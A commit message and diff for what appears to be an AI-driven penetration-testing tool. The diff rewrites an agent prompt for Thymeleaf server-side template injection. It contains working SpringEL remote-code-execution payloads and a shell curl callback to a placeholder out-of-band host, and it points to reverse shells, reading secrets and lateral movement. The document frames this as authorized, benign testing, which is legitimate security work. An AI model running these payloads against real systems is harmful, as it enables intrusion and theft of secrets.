feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/ssti_thymeleaf.md

@@ -8,16 +8,26 @@ You are testing **{target}** for Server-Side Template Injection in Thymeleaf (Sp
 
 **METHODOLOGY:**
 
-### 1. Detect
-- Probe fragment expression `__${7*7}__::x` evaluation
+### 1. Detect & fingerprint
+- Thymeleaf is SpringEL-backed. Probe the fragment/preprocessing expression: `__${7*7}__::x` → evaluates `49`; or in an attribute context `${7*7}`.
+- Strong signal: the injection sits in a value that becomes a VIEW NAME / fragment (a controller returning a user-influenced template name), where expression preprocessing (`__...__`) triggers SpringEL.
+- Recon cross-check: Spring Boot + Thymeleaf in the stack; look for `@GetMapping` returning `"path/" + userInput`.
 
-### 2. Escalate
-- `${T(java.lang.Runtime).getRuntime().exec('id')}` via SpringEL
+### 2. Escalate (benign command: `id`) via SpringEL
+- `${T(java.lang.Runtime).getRuntime().exec('id')}` — note `exec` returns a Process; to capture output use:
+  - `${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}` (if commons-io on classpath)
+  - or exfil via OOB: `${T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','curl http://<nonce>.<canary>/'})}`
+- Full preprocessing payload in a view-name sink: `__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x`
+- DECISION POINT — expression evaluates but output isn't rendered (Process object, not string)? Use the IOUtils wrapper or an OOB callback for proof; blind eval alone isn't enough.
+- Keep it a single read (`id`, `hostname`) or an OOB ping with a per-attempt nonce.
 
 ### 3. Confirm
-- Capture output/side effect proving execution
+- PROOF = the fragment expression evaluated (`49` or side effect) AND command output / OOB callback carrying your nonce, with the exact request. Reflected expressions without evaluation are NOT findings.
 
-### 4. Report Format
+### 4. Chaining hooks
+- RCE → reverse-shell/post-exploitation, read Spring config (`application.properties`, secrets), host pivot, lateral movement.
+
+### 5. Report Format
 For each CONFIRMED finding:
 ```
 FINDING:
@@ -33,4 +43,4 @@ FINDING:
 ```
 
 ## System Prompt
-You are a Thymeleaf SSTI specialist. Report only with confirmed SpringEL execution evidence, not reflected expressions.
+You are a Thymeleaf SSTI specialist. Report only with confirmed SpringEL execution evidence — the fragment/preprocessing expression evaluating AND command output or an OOB callback carrying your per-attempt nonce — not reflected expressions. Because `Runtime.exec` returns a Process rather than a string, prove execution via an output-capturing wrapper or an out-of-band callback rather than assuming a blind eval worked. Keep commands benign (a single read like `id`, or an OOB ping). AUTHORIZED engagement.